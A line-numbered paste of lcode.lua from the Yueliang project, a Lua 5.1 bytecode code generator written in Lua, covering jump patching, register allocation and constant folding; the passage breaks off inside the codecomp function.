· 4 years ago · Jun 19, 2021, 12:18 PM
1--[[--------------------------------------------------------------------
2
3 lcode.lua
4 Lua 5 code generator in Lua
5 This file is part of Yueliang.
6
7 Copyright (c) 2005-2007 Kein-Hong Man <khman@users.sf.net>
8 The COPYRIGHT file describes the conditions
9 under which this software may be distributed.
10
11 See the ChangeLog for more information.
12
13----------------------------------------------------------------------]]
14
15--[[--------------------------------------------------------------------
16-- Notes:
17-- * one function manipulate a pointer argument with a simple data type
18-- (can't be emulated by a table, ambiguous), now returns that value:
19-- mLuaK:concat(fs, l1, l2)
20-- * luaM_growvector uses the faux luaY:growvector, for limit checking
21-- * some function parameters changed to boolean, additional code
22-- translates boolean back to 1/0 for instruction fields
23--
24-- Not implemented:
25-- * NOTE there is a failed assert in mLuaK:addk, a porting problem
26--
27-- Added:
28-- * constant MAXSTACK from llimits.h
29-- * mLuaK:ttisnumber(o) (from lobject.h)
30-- * mLuaK:nvalue(o) (from lobject.h)
31-- * mLuaK:setnilvalue(o) (from lobject.h)
32-- * mLuaK:setnvalue(o, x) (from lobject.h)
33-- * mLuaK:setbvalue(o, x) (from lobject.h)
34-- * mLuaK:sethvalue(o, x) (from lobject.h), parameter L deleted
35-- * mLuaK:setsvalue(o, x) (from lobject.h), parameter L deleted
36-- * mLuaK:numadd, mLuaK:numsub, mLuaK:nummul, mLuaK:numdiv, mLuaK:nummod,
37-- mLuaK:numpow, mLuaK:numunm, mLuaK:numisnan (from luaconf.h)
38-- * copyexp(e1, e2) added in mLuaK:posfix to copy expdesc struct
39--
40-- Changed in 5.1.x:
41-- * enum BinOpr has a new entry, OPR_MOD
42-- * enum UnOpr has a new entry, OPR_LEN
43-- * binopistest, unused in 5.0.x, has been deleted
44-- * macro setmultret is new
45-- * functions isnumeral, mLuaK_ret, boolK are new
46-- * funcion nilK was named nil_constant in 5.0.x
47-- * function interface changed: need_value, patchtestreg, concat
48-- * TObject now a TValue
49-- * functions mLuaK_setreturns, mLuaK_setoneret are new
50-- * function mLuaK:setcallreturns deleted, to be replaced by:
51-- mLuaK:setmultret, mLuaK:ret, mLuaK:setreturns, mLuaK:setoneret
52-- * functions constfolding, codearith, codecomp are new
53-- * mLuaK:codebinop has been deleted
54-- * function mLuaK_setlist is new
55-- * OPR_MULT renamed to OPR_MUL
56----------------------------------------------------------------------]]
57
58-- requires luaP, luaX, luaY
59local mLuaK = {}
60
61------------------------------------------------------------------------
62-- constants used by code generator
63------------------------------------------------------------------------
64-- maximum stack for a Lua function
65mLuaK.MAXSTACK = 250 -- (from llimits.h)
66
67--[[--------------------------------------------------------------------
68-- other functions
69----------------------------------------------------------------------]]
70
71------------------------------------------------------------------------
72-- emulation of TValue macros (these are from lobject.h)
73-- * TValue is a table since lcode passes references around
74-- * tt member field removed, using Lua's type() instead
75-- * for setsvalue, sethvalue, parameter L (deleted here) in lobject.h
76-- is used in an assert for testing, see checkliveness(g,obj)
77------------------------------------------------------------------------
78function mLuaK:ttisnumber(o)
79 if o then return type(o.value) == "number" else return false end
80end
81function mLuaK:nvalue(o) return o.value end
82function mLuaK:setnilvalue(o) o.value = nil end
83function mLuaK:setsvalue(o, x) o.value = x end
84mLuaK.setnvalue = mLuaK.setsvalue
85mLuaK.sethvalue = mLuaK.setsvalue
86mLuaK.setbvalue = mLuaK.setsvalue
87
88------------------------------------------------------------------------
89-- The luai_num* macros define the primitive operations over numbers.
90-- * this is not the entire set of primitive operations from luaconf.h
91-- * used in mLuaK:constfolding()
92------------------------------------------------------------------------
93function mLuaK:numadd(a, b) return a + b end
94function mLuaK:numsub(a, b) return a - b end
95function mLuaK:nummul(a, b) return a * b end
96function mLuaK:numdiv(a, b) return a / b end
97function mLuaK:nummod(a, b) return a % b end
98-- ((a) - floor((a)/(b))*(b)) /* actual, for reference */
99function mLuaK:numpow(a, b) return a ^ b end
100function mLuaK:numunm(a) return -a end
101function mLuaK:numisnan(a) return not a == a end
102-- a NaN cannot equal another NaN
103
104--[[--------------------------------------------------------------------
105-- code generator functions
106----------------------------------------------------------------------]]
107
108------------------------------------------------------------------------
109-- Marks the end of a patch list. It is an invalid value both as an absolute
110-- address, and as a list link (would link an element to itself).
111------------------------------------------------------------------------
112mLuaK.NO_JUMP = -1
113
114------------------------------------------------------------------------
115-- grep "ORDER OPR" if you change these enums
116------------------------------------------------------------------------
117mLuaK.BinOpr = {
118 OPR_ADD = 0, OPR_SUB = 1, OPR_MUL = 2, OPR_DIV = 3, OPR_MOD = 4, OPR_POW = 5,
119 OPR_CONCAT = 6,
120 OPR_NE = 7, OPR_EQ = 8,
121 OPR_LT = 9, OPR_LE = 10, OPR_GT = 11, OPR_GE = 12,
122 OPR_AND = 13, OPR_OR = 14,
123 OPR_NOBINOPR = 15,
124}
125
126-- * UnOpr is used by mLuaK:prefix's op argument, but not directly used
127-- because the function receives the symbols as strings, e.g. "OPR_NOT"
128mLuaK.UnOpr = {
129 OPR_MINUS = 0, OPR_NOT = 1, OPR_LEN = 2, OPR_NOUNOPR = 3
130}
131
132------------------------------------------------------------------------
133-- returns the instruction object for given e (expdesc), was a macro
134------------------------------------------------------------------------
135function mLuaK:getcode(fs, e)
136 return fs.f.code[e.info]
137end
138
139------------------------------------------------------------------------
140-- codes an instruction with a signed Bx (sBx) field, was a macro
141-- * used in mLuaK:jump(), (lparser) luaY:forbody()
142------------------------------------------------------------------------
143function mLuaK:codeAsBx(fs, o, A, sBx)
144 return self:codeABx(fs, o, A, sBx + luaP.MAXARG_sBx)
145end
146
147------------------------------------------------------------------------
148-- set the expdesc e instruction for multiple returns, was a macro
149------------------------------------------------------------------------
150function mLuaK:setmultret(fs, e)
151 self:setreturns(fs, e, luaY.LUA_MULTRET)
152end
153
154------------------------------------------------------------------------
155-- there is a jump if patch lists are not identical, was a macro
156-- * used in mLuaK:exp2reg(), mLuaK:exp2anyreg(), mLuaK:exp2val()
157------------------------------------------------------------------------
158function mLuaK:hasjumps(e)
159 return e.t ~= e.f
160end
161
162------------------------------------------------------------------------
163-- true if the expression is a constant number (for constant folding)
164-- * used in constfolding(), infix()
165------------------------------------------------------------------------
166function mLuaK:isnumeral(e)
167 return e.k == "VKNUM" and e.t == self.NO_JUMP and e.f == self.NO_JUMP
168end
169
170------------------------------------------------------------------------
171-- codes loading of nil, optimization done if consecutive locations
172-- * used in mLuaK:discharge2reg(), (lparser) luaY:adjust_assign()
173------------------------------------------------------------------------
174function mLuaK:_nil(fs, from, n)
175 if fs.pc > fs.lasttarget then -- no jumps to current position?
176 if fs.pc == 0 then -- function start?
177 if from >= fs.nactvar then
178 return -- positions are already clean
179 end
180 else
181 local previous = fs.f.code[fs.pc - 1]
182 if luaP:GET_OPCODE(previous) == "OP_LOADNIL" then
183 local pfrom = luaP:GETARG_A(previous)
184 local pto = luaP:GETARG_B(previous)
185 if pfrom <= from and from <= pto + 1 then -- can connect both?
186 if from + n - 1 > pto then
187 luaP:SETARG_B(previous, from + n - 1)
188 end
189 return
190 end
191 end
192 end
193 end
194 self:codeABC(fs, "OP_LOADNIL", from, from + n - 1, 0) -- else no optimization
195end
196
197------------------------------------------------------------------------
198--
199-- * used in multiple locations
200------------------------------------------------------------------------
201function mLuaK:jump(fs)
202 local jpc = fs.jpc -- save list of jumps to here
203 fs.jpc = self.NO_JUMP
204 local j = self:codeAsBx(fs, "OP_JMP", 0, self.NO_JUMP)
205 j = self:concat(fs, j, jpc) -- keep them on hold
206 return j
207end
208
209------------------------------------------------------------------------
210-- codes a RETURN instruction
211-- * used in luaY:close_func(), luaY:retstat()
212------------------------------------------------------------------------
213function mLuaK:ret(fs, first, nret)
214 self:codeABC(fs, "OP_RETURN", first, nret + 1, 0)
215end
216
217------------------------------------------------------------------------
218--
219-- * used in mLuaK:jumponcond(), mLuaK:codecomp()
220------------------------------------------------------------------------
221function mLuaK:condjump(fs, op, A, B, C)
222 self:codeABC(fs, op, A, B, C)
223 return self:jump(fs)
224end
225
226------------------------------------------------------------------------
227--
228-- * used in mLuaK:patchlistaux(), mLuaK:concat()
229------------------------------------------------------------------------
230function mLuaK:fixjump(fs, pc, dest)
231 local jmp = fs.f.code[pc]
232 local offset = dest - (pc + 1)
233 assert(dest ~= self.NO_JUMP)
234 if math.abs(offset) > luaP.MAXARG_sBx then
235 luaX:syntaxerror(fs.ls, "control structure too long")
236 end
237 luaP:SETARG_sBx(jmp, offset)
238end
239
240------------------------------------------------------------------------
241-- returns current 'pc' and marks it as a jump target (to avoid wrong
242-- optimizations with consecutive instructions not in the same basic block).
243-- * used in multiple locations
244-- * fs.lasttarget tested only by mLuaK:_nil() when optimizing OP_LOADNIL
245------------------------------------------------------------------------
246function mLuaK:getlabel(fs)
247 fs.lasttarget = fs.pc
248 return fs.pc
249end
250
251------------------------------------------------------------------------
252--
253-- * used in mLuaK:need_value(), mLuaK:removevalues(), mLuaK:patchlistaux(),
254-- mLuaK:concat()
255------------------------------------------------------------------------
256function mLuaK:getjump(fs, pc)
257 local offset = luaP:GETARG_sBx(fs.f.code[pc])
258 if offset == self.NO_JUMP then -- point to itself represents end of list
259 return self.NO_JUMP -- end of list
260 else
261 return (pc + 1) + offset -- turn offset into absolute position
262 end
263end
264
265------------------------------------------------------------------------
266--
267-- * used in mLuaK:need_value(), mLuaK:patchtestreg(), mLuaK:invertjump()
268------------------------------------------------------------------------
269function mLuaK:getjumpcontrol(fs, pc)
270 local pi = fs.f.code[pc]
271 local ppi = fs.f.code[pc - 1]
272 if pc >= 1 and luaP:testTMode(luaP:GET_OPCODE(ppi)) ~= 0 then
273 return ppi
274 else
275 return pi
276 end
277end
278
279------------------------------------------------------------------------
280-- check whether list has any jump that do not produce a value
281-- (or produce an inverted value)
282-- * return value changed to boolean
283-- * used only in mLuaK:exp2reg()
284------------------------------------------------------------------------
285function mLuaK:need_value(fs, list)
286 while list ~= self.NO_JUMP do
287 local i = self:getjumpcontrol(fs, list)
288 if luaP:GET_OPCODE(i) ~= "OP_TESTSET" then return true end
289 list = self:getjump(fs, list)
290 end
291 return false -- not found
292end
293
294------------------------------------------------------------------------
295--
296-- * used in mLuaK:removevalues(), mLuaK:patchlistaux()
297------------------------------------------------------------------------
298function mLuaK:patchtestreg(fs, node, reg)
299 local i = self:getjumpcontrol(fs, node)
300 if luaP:GET_OPCODE(i) ~= "OP_TESTSET" then
301 return false -- cannot patch other instructions
302 end
303 if reg ~= luaP.NO_REG and reg ~= luaP:GETARG_B(i) then
304 luaP:SETARG_A(i, reg)
305 else -- no register to put value or register already has the value
306 -- due to use of a table as i, i cannot be replaced by another table
307 -- so the following is required; there is no change to ARG_C
308 luaP:SET_OPCODE(i, "OP_TEST")
309 local b = luaP:GETARG_B(i)
310 luaP:SETARG_A(i, b)
311 luaP:SETARG_B(i, 0)
312 -- *i = CREATE_ABC(OP_TEST, GETARG_B(*i), 0, GETARG_C(*i)); /* C */
313 end
314 return true
315end
316
317------------------------------------------------------------------------
318--
319-- * used only in mLuaK:codenot()
320------------------------------------------------------------------------
321function mLuaK:removevalues(fs, list)
322 while list ~= self.NO_JUMP do
323 self:patchtestreg(fs, list, luaP.NO_REG)
324 list = self:getjump(fs, list)
325 end
326end
327
328------------------------------------------------------------------------
329--
330-- * used in mLuaK:dischargejpc(), mLuaK:patchlist(), mLuaK:exp2reg()
331------------------------------------------------------------------------
332function mLuaK:patchlistaux(fs, list, vtarget, reg, dtarget)
333 while list ~= self.NO_JUMP do
334 local _next = self:getjump(fs, list)
335 if self:patchtestreg(fs, list, reg) then
336 self:fixjump(fs, list, vtarget)
337 else
338 self:fixjump(fs, list, dtarget) -- jump to default target
339 end
340 list = _next
341 end
342end
343
344------------------------------------------------------------------------
345--
346-- * used only in mLuaK:code()
347------------------------------------------------------------------------
348function mLuaK:dischargejpc(fs)
349 self:patchlistaux(fs, fs.jpc, fs.pc, luaP.NO_REG, fs.pc)
350 fs.jpc = self.NO_JUMP
351end
352
353------------------------------------------------------------------------
354--
355-- * used in (lparser) luaY:whilestat(), luaY:repeatstat(), luaY:forbody()
356------------------------------------------------------------------------
357function mLuaK:patchlist(fs, list, target)
358 if target == fs.pc then
359 self:patchtohere(fs, list)
360 else
361 assert(target < fs.pc)
362 self:patchlistaux(fs, list, target, luaP.NO_REG, target)
363 end
364end
365
366------------------------------------------------------------------------
367--
368-- * used in multiple locations
369------------------------------------------------------------------------
370function mLuaK:patchtohere(fs, list)
371 self:getlabel(fs)
372 fs.jpc = self:concat(fs, fs.jpc, list)
373end
374
375------------------------------------------------------------------------
376-- * l1 was a pointer, now l1 is returned and callee assigns the value
377-- * used in multiple locations
378------------------------------------------------------------------------
379function mLuaK:concat(fs, l1, l2)
380 if l2 == self.NO_JUMP then return l1
381 elseif l1 == self.NO_JUMP then
382 return l2
383 else
384 local list = l1
385 local _next = self:getjump(fs, list)
386 while _next ~= self.NO_JUMP do -- find last element
387 list = _next
388 _next = self:getjump(fs, list)
389 end
390 self:fixjump(fs, list, l2)
391 end
392 return l1
393end
394
395------------------------------------------------------------------------
396--
397-- * used in mLuaK:reserveregs(), (lparser) luaY:forlist()
398------------------------------------------------------------------------
399function mLuaK:checkstack(fs, n)
400 local newstack = fs.freereg + n
401 if newstack > fs.f.maxstacksize then
402 if newstack >= self.MAXSTACK then
403 luaX:syntaxerror(fs.ls, "function or expression too complex")
404 end
405 fs.f.maxstacksize = newstack
406 end
407end
408
409------------------------------------------------------------------------
410--
411-- * used in multiple locations
412------------------------------------------------------------------------
413function mLuaK:reserveregs(fs, n)
414 self:checkstack(fs, n)
415 fs.freereg = fs.freereg + n
416end
417
418------------------------------------------------------------------------
419--
420-- * used in mLuaK:freeexp(), mLuaK:dischargevars()
421------------------------------------------------------------------------
422function mLuaK:freereg(fs, reg)
423 if not luaP:ISK(reg) and reg >= fs.nactvar then
424 fs.freereg = fs.freereg - 1
425 assert(reg == fs.freereg)
426 end
427end
428
429------------------------------------------------------------------------
430--
431-- * used in multiple locations
432------------------------------------------------------------------------
433function mLuaK:freeexp(fs, e)
434 if e.k == "VNONRELOC" then
435 self:freereg(fs, e.info)
436 end
437end
438
439------------------------------------------------------------------------
440-- * TODO NOTE implementation is not 100% correct, since the assert fails
441-- * luaH_set, setobj deleted; direct table access used instead
442-- * used in mLuaK:stringK(), mLuaK:numberK(), mLuaK:boolK(), mLuaK:nilK()
443------------------------------------------------------------------------
444function mLuaK:addk(fs, k, v)
445 local L = fs.L
446 local idx = fs.h[k.value]
447 --TValue *idx = luaH_set(L, fs->h, k); /* C */
448 local f = fs.f
449 if self:ttisnumber(idx) then
450 --TODO this assert currently FAILS (last tested for 5.0.2)
451 --assert(fs.f.k[self:nvalue(idx)] == v)
452 --assert(luaO_rawequalObj(&fs->f->k[cast_int(nvalue(idx))], v)); /* C */
453 return self:nvalue(idx)
454 else -- constant not found; create a new entry
455 idx = {}
456 self:setnvalue(idx, fs.nk)
457 fs.h[k.value] = idx
458 -- setnvalue(idx, cast_num(fs->nk)); /* C */
459 luaY:growvector(L, f.k, fs.nk, f.sizek, nil,
460 luaP.MAXARG_Bx, "constant table overflow")
461 -- loop to initialize empty f.k positions not required
462 f.k[fs.nk] = v
463 -- setobj(L, &f->k[fs->nk], v); /* C */
464 -- luaC_barrier(L, f, v); /* GC */
465 local nk = fs.nk
466 fs.nk = fs.nk + 1
467 return nk
468 end
469
470end
471
472------------------------------------------------------------------------
473-- creates and sets a string object
474-- * used in (lparser) luaY:codestring(), luaY:singlevar()
475------------------------------------------------------------------------
476function mLuaK:stringK(fs, s)
477 local o = {} -- TValue
478 self:setsvalue(o, s)
479 return self:addk(fs, o, o)
480end
481
482------------------------------------------------------------------------
483-- creates and sets a number object
484-- * used in mLuaK:prefix() for negative (or negation of) numbers
485-- * used in (lparser) luaY:simpleexp(), luaY:fornum()
486------------------------------------------------------------------------
487function mLuaK:numberK(fs, r)
488 local o = {} -- TValue
489 self:setnvalue(o, r)
490 return self:addk(fs, o, o)
491end
492
493------------------------------------------------------------------------
494-- creates and sets a boolean object
495-- * used only in mLuaK:exp2RK()
496------------------------------------------------------------------------
497function mLuaK:boolK(fs, b)
498 local o = {} -- TValue
499 self:setbvalue(o, b)
500 return self:addk(fs, o, o)
501end
502
503------------------------------------------------------------------------
504-- creates and sets a nil object
505-- * used only in mLuaK:exp2RK()
506------------------------------------------------------------------------
507function mLuaK:nilK(fs)
508 local k, v = {}, {} -- TValue
509 self:setnilvalue(v)
510 -- cannot use nil as key; instead use table itself to represent nil
511 self:sethvalue(k, fs.h)
512 return self:addk(fs, k, v)
513end
514
515------------------------------------------------------------------------
516--
517-- * used in mLuaK:setmultret(), (lparser) luaY:adjust_assign()
518------------------------------------------------------------------------
519function mLuaK:setreturns(fs, e, nresults)
520 if e.k == "VCALL" then -- expression is an open function call?
521 luaP:SETARG_C(self:getcode(fs, e), nresults + 1)
522 elseif e.k == "VVARARG" then
523 luaP:SETARG_B(self:getcode(fs, e), nresults + 1);
524 luaP:SETARG_A(self:getcode(fs, e), fs.freereg);
525 mLuaK:reserveregs(fs, 1)
526 end
527end
528
529------------------------------------------------------------------------
530--
531-- * used in mLuaK:dischargevars(), (lparser) luaY:assignment()
532------------------------------------------------------------------------
533function mLuaK:setoneret(fs, e)
534 if e.k == "VCALL" then -- expression is an open function call?
535 e.k = "VNONRELOC"
536 e.info = luaP:GETARG_A(self:getcode(fs, e))
537 elseif e.k == "VVARARG" then
538 luaP:SETARG_B(self:getcode(fs, e), 2)
539 e.k = "VRELOCABLE" -- can relocate its simple result
540 end
541end
542
543------------------------------------------------------------------------
544--
545-- * used in multiple locations
546------------------------------------------------------------------------
547function mLuaK:dischargevars(fs, e)
548 local k = e.k
549 if k == "VLOCAL" then
550 e.k = "VNONRELOC"
551 elseif k == "VUPVAL" then
552 e.info = self:codeABC(fs, "OP_GETUPVAL", 0, e.info, 0)
553 e.k = "VRELOCABLE"
554 elseif k == "VGLOBAL" then
555 e.info = self:codeABx(fs, "OP_GETGLOBAL", 0, e.info)
556 e.k = "VRELOCABLE"
557 elseif k == "VINDEXED" then
558 self:freereg(fs, e.aux)
559 self:freereg(fs, e.info)
560 e.info = self:codeABC(fs, "OP_GETTABLE", 0, e.info, e.aux)
561 e.k = "VRELOCABLE"
562 elseif k == "VVARARG" or k == "VCALL" then
563 self:setoneret(fs, e)
564 else
565 -- there is one value available (somewhere)
566 end
567end
568
569------------------------------------------------------------------------
570--
571-- * used only in mLuaK:exp2reg()
572------------------------------------------------------------------------
573function mLuaK:code_label(fs, A, b, jump)
574 self:getlabel(fs) -- those instructions may be jump targets
575 return self:codeABC(fs, "OP_LOADBOOL", A, b, jump)
576end
577
578------------------------------------------------------------------------
579--
580-- * used in mLuaK:discharge2anyreg(), mLuaK:exp2reg()
581------------------------------------------------------------------------
582function mLuaK:discharge2reg(fs, e, reg)
583 self:dischargevars(fs, e)
584 local k = e.k
585 if k == "VNIL" then
586 self:_nil(fs, reg, 1)
587 elseif k == "VFALSE" or k == "VTRUE" then
588 self:codeABC(fs, "OP_LOADBOOL", reg, (e.k == "VTRUE") and 1 or 0, 0)
589 elseif k == "VK" then
590 self:codeABx(fs, "OP_LOADK", reg, e.info)
591 elseif k == "VKNUM" then
592 self:codeABx(fs, "OP_LOADK", reg, self:numberK(fs, e.nval))
593 elseif k == "VRELOCABLE" then
594 local pc = self:getcode(fs, e)
595 luaP:SETARG_A(pc, reg)
596 elseif k == "VNONRELOC" then
597 if reg ~= e.info then
598 self:codeABC(fs, "OP_MOVE", reg, e.info, 0)
599 end
600 else
601 assert(e.k == "VVOID" or e.k == "VJMP")
602 return -- nothing to do...
603 end
604 e.info = reg
605 e.k = "VNONRELOC"
606end
607
608------------------------------------------------------------------------
609--
610-- * used in mLuaK:jumponcond(), mLuaK:codenot()
611------------------------------------------------------------------------
612function mLuaK:discharge2anyreg(fs, e)
613 if e.k ~= "VNONRELOC" then
614 self:reserveregs(fs, 1)
615 self:discharge2reg(fs, e, fs.freereg - 1)
616 end
617end
618
619------------------------------------------------------------------------
620--
621-- * used in mLuaK:exp2nextreg(), mLuaK:exp2anyreg(), mLuaK:storevar()
622------------------------------------------------------------------------
623function mLuaK:exp2reg(fs, e, reg)
624 self:discharge2reg(fs, e, reg)
625 if e.k == "VJMP" then
626 e.t = self:concat(fs, e.t, e.info) -- put this jump in 't' list
627 end
628 if self:hasjumps(e) then
629 local final -- position after whole expression
630 local p_f = self.NO_JUMP -- position of an eventual LOAD false
631 local p_t = self.NO_JUMP -- position of an eventual LOAD true
632 if self:need_value(fs, e.t) or self:need_value(fs, e.f) then
633 local fj = (e.k == "VJMP") and self.NO_JUMP or self:jump(fs)
634 p_f = self:code_label(fs, reg, 0, 1)
635 p_t = self:code_label(fs, reg, 1, 0)
636 self:patchtohere(fs, fj)
637 end
638 final = self:getlabel(fs)
639 self:patchlistaux(fs, e.f, final, reg, p_f)
640 self:patchlistaux(fs, e.t, final, reg, p_t)
641 end
642 e.f, e.t = self.NO_JUMP, self.NO_JUMP
643 e.info = reg
644 e.k = "VNONRELOC"
645end
646
647------------------------------------------------------------------------
648--
649-- * used in multiple locations
650------------------------------------------------------------------------
651function mLuaK:exp2nextreg(fs, e)
652 self:dischargevars(fs, e)
653 self:freeexp(fs, e)
654 self:reserveregs(fs, 1)
655 self:exp2reg(fs, e, fs.freereg - 1)
656end
657
658------------------------------------------------------------------------
659--
660-- * used in multiple locations
661------------------------------------------------------------------------
662function mLuaK:exp2anyreg(fs, e)
663 self:dischargevars(fs, e)
664 if e.k == "VNONRELOC" then
665 if not self:hasjumps(e) then -- exp is already in a register
666 return e.info
667 end
668 if e.info >= fs.nactvar then -- reg. is not a local?
669 self:exp2reg(fs, e, e.info) -- put value on it
670 return e.info
671 end
672 end
673 self:exp2nextreg(fs, e) -- default
674 return e.info
675end
676
677------------------------------------------------------------------------
678--
679-- * used in mLuaK:exp2RK(), mLuaK:prefix(), mLuaK:posfix()
680-- * used in (lparser) luaY:yindex()
681------------------------------------------------------------------------
682function mLuaK:exp2val(fs, e)
683 if self:hasjumps(e) then
684 self:exp2anyreg(fs, e)
685 else
686 self:dischargevars(fs, e)
687 end
688end
689
690------------------------------------------------------------------------
691--
692-- * used in multiple locations
693------------------------------------------------------------------------
694function mLuaK:exp2RK(fs, e)
695 self:exp2val(fs, e)
696 local k = e.k
697 if k == "VKNUM" or k == "VTRUE" or k == "VFALSE" or k == "VNIL" then
698 if fs.nk <= luaP.MAXINDEXRK then -- constant fit in RK operand?
699 -- converted from a 2-deep ternary operator expression
700 if e.k == "VNIL" then
701 e.info = self:nilK(fs)
702 else
703 e.info = (e.k == "VKNUM") and self:numberK(fs, e.nval)
704 or self:boolK(fs, e.k == "VTRUE")
705 end
706 e.k = "VK"
707 return luaP:RKASK(e.info)
708 end
709 elseif k == "VK" then
710 if e.info <= luaP.MAXINDEXRK then -- constant fit in argC?
711 return luaP:RKASK(e.info)
712 end
713 else
714 -- default
715 end
716 -- not a constant in the right range: put it in a register
717 return self:exp2anyreg(fs, e)
718end
719
720------------------------------------------------------------------------
721--
722-- * used in (lparser) luaY:assignment(), luaY:localfunc(), luaY:funcstat()
723------------------------------------------------------------------------
724function mLuaK:storevar(fs, var, ex)
725 local k = var.k
726 if k == "VLOCAL" then
727 self:freeexp(fs, ex)
728 self:exp2reg(fs, ex, var.info)
729 return
730 elseif k == "VUPVAL" then
731 local e = self:exp2anyreg(fs, ex)
732 self:codeABC(fs, "OP_SETUPVAL", e, var.info, 0)
733 elseif k == "VGLOBAL" then
734 local e = self:exp2anyreg(fs, ex)
735 self:codeABx(fs, "OP_SETGLOBAL", e, var.info)
736 elseif k == "VINDEXED" then
737 local e = self:exp2RK(fs, ex)
738 self:codeABC(fs, "OP_SETTABLE", var.info, var.aux, e)
739 else
740 assert(0) -- invalid var kind to store
741 end
742 self:freeexp(fs, ex)
743end
744
745------------------------------------------------------------------------
746--
747-- * used only in (lparser) luaY:primaryexp()
748------------------------------------------------------------------------
749function mLuaK:_self(fs, e, key)
750 self:exp2anyreg(fs, e)
751 self:freeexp(fs, e)
752 local func = fs.freereg
753 self:reserveregs(fs, 2)
754 self:codeABC(fs, "OP_SELF", func, e.info, self:exp2RK(fs, key))
755 self:freeexp(fs, key)
756 e.info = func
757 e.k = "VNONRELOC"
758end
759
760------------------------------------------------------------------------
761--
762-- * used in mLuaK:goiftrue(), mLuaK:codenot()
763------------------------------------------------------------------------
764function mLuaK:invertjump(fs, e)
765 local pc = self:getjumpcontrol(fs, e.info)
766 assert(luaP:testTMode(luaP:GET_OPCODE(pc)) ~= 0 and
767 luaP:GET_OPCODE(pc) ~= "OP_TESTSET" and
768 luaP:GET_OPCODE(pc) ~= "OP_TEST")
769 luaP:SETARG_A(pc, (luaP:GETARG_A(pc) == 0) and 1 or 0)
770end
771
772------------------------------------------------------------------------
773--
774-- * used in mLuaK:goiftrue(), mLuaK:goiffalse()
775------------------------------------------------------------------------
776function mLuaK:jumponcond(fs, e, cond)
777 if e.k == "VRELOCABLE" then
778 local ie = self:getcode(fs, e)
779 if luaP:GET_OPCODE(ie) == "OP_NOT" then
780 fs.pc = fs.pc - 1 -- remove previous OP_NOT
781 return self:condjump(fs, "OP_TEST", luaP:GETARG_B(ie), 0, cond and 0 or 1)
782 end
783 -- else go through
784 end
785 self:discharge2anyreg(fs, e)
786 self:freeexp(fs, e)
787 return self:condjump(fs, "OP_TESTSET", luaP.NO_REG, e.info, cond and 1 or 0)
788end
789
790------------------------------------------------------------------------
791--
792-- * used in mLuaK:infix(), (lparser) luaY:cond()
793------------------------------------------------------------------------
794function mLuaK:goiftrue(fs, e)
795 local pc -- pc of last jump
796 self:dischargevars(fs, e)
797 local k = e.k
798 if k == "VK" or k == "VKNUM" or k == "VTRUE" then
799 pc = self.NO_JUMP -- always true; do nothing
800 elseif k == "VFALSE" then
801 pc = self:jump(fs) -- always jump
802 elseif k == "VJMP" then
803 self:invertjump(fs, e)
804 pc = e.info
805 else
806 pc = self:jumponcond(fs, e, false)
807 end
808 e.f = self:concat(fs, e.f, pc) -- insert last jump in `f' list
809 self:patchtohere(fs, e.t)
810 e.t = self.NO_JUMP
811end
812
813------------------------------------------------------------------------
814--
815-- * used in mLuaK:infix()
816------------------------------------------------------------------------
817function mLuaK:goiffalse(fs, e)
818 local pc -- pc of last jump
819 self:dischargevars(fs, e)
820 local k = e.k
821 if k == "VNIL" or k == "VFALSE"then
822 pc = self.NO_JUMP -- always false; do nothing
823 elseif k == "VTRUE" then
824 pc = self:jump(fs) -- always jump
825 elseif k == "VJMP" then
826 pc = e.info
827 else
828 pc = self:jumponcond(fs, e, true)
829 end
830 e.t = self:concat(fs, e.t, pc) -- insert last jump in `t' list
831 self:patchtohere(fs, e.f)
832 e.f = self.NO_JUMP
833end
834
835------------------------------------------------------------------------
836--
837-- * used only in mLuaK:prefix()
838------------------------------------------------------------------------
839function mLuaK:codenot(fs, e)
840 self:dischargevars(fs, e)
841 local k = e.k
842 if k == "VNIL" or k == "VFALSE" then
843 e.k = "VTRUE"
844 elseif k == "VK" or k == "VKNUM" or k == "VTRUE" then
845 e.k = "VFALSE"
846 elseif k == "VJMP" then
847 self:invertjump(fs, e)
848 elseif k == "VRELOCABLE" or k == "VNONRELOC" then
849 self:discharge2anyreg(fs, e)
850 self:freeexp(fs, e)
851 e.info = self:codeABC(fs, "OP_NOT", 0, e.info, 0)
852 e.k = "VRELOCABLE"
853 else
854 assert(0) -- cannot happen
855 end
856 -- interchange true and false lists
857 e.f, e.t = e.t, e.f
858 self:removevalues(fs, e.f)
859 self:removevalues(fs, e.t)
860end
861
862------------------------------------------------------------------------
863--
864-- * used in (lparser) luaY:field(), luaY:primaryexp()
865------------------------------------------------------------------------
866function mLuaK:indexed(fs, t, k)
867 t.aux = self:exp2RK(fs, k)
868 t.k = "VINDEXED"
869end
870
871------------------------------------------------------------------------
872--
873-- * used only in mLuaK:codearith()
874------------------------------------------------------------------------
875function mLuaK:constfolding(op, e1, e2)
876 local r
877 if not self:isnumeral(e1) or not self:isnumeral(e2) then return false end
878 local v1 = e1.nval
879 local v2 = e2.nval
880 if op == "OP_ADD" then
881 r = self:numadd(v1, v2)
882 elseif op == "OP_SUB" then
883 r = self:numsub(v1, v2)
884 elseif op == "OP_MUL" then
885 r = self:nummul(v1, v2)
886 elseif op == "OP_DIV" then
887 if v2 == 0 then return false end -- do not attempt to divide by 0
888 r = self:numdiv(v1, v2)
889 elseif op == "OP_MOD" then
890 if v2 == 0 then return false end -- do not attempt to divide by 0
891 r = self:nummod(v1, v2)
892 elseif op == "OP_POW" then
893 r = self:numpow(v1, v2)
894 elseif op == "OP_UNM" then
895 r = self:numunm(v1)
896 elseif op == "OP_LEN" then
897 return false -- no constant folding for 'len'
898 else
899 assert(0)
900 r = 0
901 end
902 if self:numisnan(r) then return false end -- do not attempt to produce NaN
903 e1.nval = r
904 return true
905end
906
907------------------------------------------------------------------------
908--
909-- * used in mLuaK:prefix(), mLuaK:posfix()
910------------------------------------------------------------------------
911function mLuaK:codearith(fs, op, e1, e2)
912 if self:constfolding(op, e1, e2) then
913 return
914 else
915 local o2 = (op ~= "OP_UNM" and op ~= "OP_LEN") and self:exp2RK(fs, e2) or 0
916 local o1 = self:exp2RK(fs, e1)
917 if o1 > o2 then
918 self:freeexp(fs, e1)
919 self:freeexp(fs, e2)
920 else
921 self:freeexp(fs, e2)
922 self:freeexp(fs, e1)
923 end
924 e1.info = self:codeABC(fs, op, 0, o1, o2)
925 e1.k = "VRELOCABLE"
926 end
927end
928
929------------------------------------------------------------------------
930--
931-- * used only in mLuaK:posfix()
932------------------------------------------------------------------------
933function mLuaK:codecomp(fs, op, cond, e1, e2)
934 local o1 = self:exp2RK(fs, e1)
